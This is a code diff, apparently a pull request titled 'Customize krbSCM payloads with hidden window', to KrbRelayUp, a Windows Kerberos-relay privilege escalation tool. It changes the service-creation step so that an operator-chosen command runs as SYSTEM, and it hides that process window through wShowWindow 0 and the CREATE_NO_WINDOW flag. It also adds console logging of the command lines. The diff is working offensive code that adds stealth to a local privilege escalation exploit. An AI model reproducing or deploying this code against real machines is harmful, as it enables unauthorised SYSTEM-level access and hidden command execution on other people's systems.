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Customize krbSCM payloads with hidden window #28

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22 changes: 13 additions & 9 deletions KrbRelayUp/KrbSCM.cs
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Original file line number Diff line number Diff line change
Expand Up @@ -44,12 +44,13 @@ public static void Run()
int oInitializeSecurityContext = Marshal.OffsetOf(typeof(SecurityFunctionTable), "InitializeSecurityContext").ToInt32();
Marshal.Copy(bInitializeSecurityContext, 0, functionTable + oInitializeSecurityContext, bInitializeSecurityContext.Length);

if (String.IsNullOrEmpty(Options.serviceCommand))
string exe = System.Reflection.Assembly.GetExecutingAssembly().Location;
int session_id = System.Diagnostics.Process.GetCurrentProcess().SessionId;
if(String.IsNullOrEmpty(Options.serviceCommand))
{
string exe = System.Reflection.Assembly.GetExecutingAssembly().Location;
int session_id = System.Diagnostics.Process.GetCurrentProcess().SessionId;
Options.serviceCommand = $"\"{exe}\" system {session_id}\n";
Options.serviceCommand = "cmd.exe";
}
string spawnKrbrelaySystemCommand = $"\"{exe}\" system {session_id} \"" + Options.serviceCommand + "\"";

IntPtr hScm = OpenSCManager("127.0.0.1", null, ScmAccessRights.Connect | ScmAccessRights.CreateService);

Expand All @@ -59,7 +60,9 @@ public static void Run()
return;
}

IntPtr hService = CreateService(hScm, Options.serviceName, null, ServiceAccessRights.AllAccess, 0x10, ServiceBootFlag.DemandStart, ServiceError.Ignore, Options.serviceCommand, null, IntPtr.Zero, null, null, null);
Console.WriteLine($"[+] Service Name: {Options.serviceName}");

IntPtr hService = CreateService(hScm, Options.serviceName, null, ServiceAccessRights.AllAccess, 0x10, ServiceBootFlag.DemandStart, ServiceError.Ignore, spawnKrbrelaySystemCommand, null, IntPtr.Zero, null, null, null);

if (hService == IntPtr.Zero)
{
Expand Down Expand Up @@ -91,7 +94,7 @@ public static void Run()
Console.WriteLine("[+] Clean-up done");
}

public static void RunSystemProcess(int session_id)
public static void RunSystemProcess(int session_id, string cmdline)
{
IntPtr hToken = IntPtr.Zero;
if (!OpenProcessToken((IntPtr)(-1), 0x0002, out hToken))
Expand All @@ -113,14 +116,15 @@ public static void RunSystemProcess(int session_id)
Console.WriteLine($"[-] Error setting session ID: {Marshal.GetLastWin32Error()}");
return;
}

STARTUPINFO start_info = new STARTUPINFO();
start_info.cb = Marshal.SizeOf(start_info);
start_info.lpDesktop = "WinSta0\\Default";
start_info.wShowWindow = 5;
start_info.wShowWindow = 0;
// string cmdline = "powershell.exe";

string cmdline = "cmd.exe";
PROCESS_INFORMATION proc_info = new PROCESS_INFORMATION();
if (!CreateProcessAsUser(hPrimaryToken, null, cmdline, ref s, ref s, false, 0x00000010, IntPtr.Zero, null, ref start_info, out proc_info))
if (!CreateProcessAsUser(hPrimaryToken, null, cmdline, ref s, ref s, false, 0x08000000, IntPtr.Zero, null, ref start_info, out proc_info))
{
Console.WriteLine($"[-] Error creating process: {Marshal.GetLastWin32Error()}");
return;
Expand Down
7 changes: 6 additions & 1 deletion KrbRelayUp/Program.cs
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Original file line number Diff line number Diff line change
Expand Up @@ -234,11 +234,13 @@ static void Main(string[] args)

ParseArgs(args);

Console.WriteLine($"[+] Command Line {Options.serviceCommand}");

if (Options.phase == Options.PhaseType.System)
{
try
{
KrbSCM.RunSystemProcess(Convert.ToInt32(args[1]));
KrbSCM.RunSystemProcess(Convert.ToInt32(args[1]), args[2]);
}
catch { }
return;
Expand Down Expand Up @@ -394,6 +396,9 @@ static void Main(string[] args)
finalCommand = $"{finalCommand} --ServiceName \"{Options.serviceName}\"";
if (!String.IsNullOrEmpty(Options.serviceCommand))
finalCommand = $"{finalCommand} --ServiceCommand \"{Options.serviceCommand}\"";

Console.WriteLine($"[+] final command: {finalCommand}");

Helpers.CreateProcessNetOnly(finalCommand, show: false, kirbiBytes: bFinalTicket);
}
else
Expand Down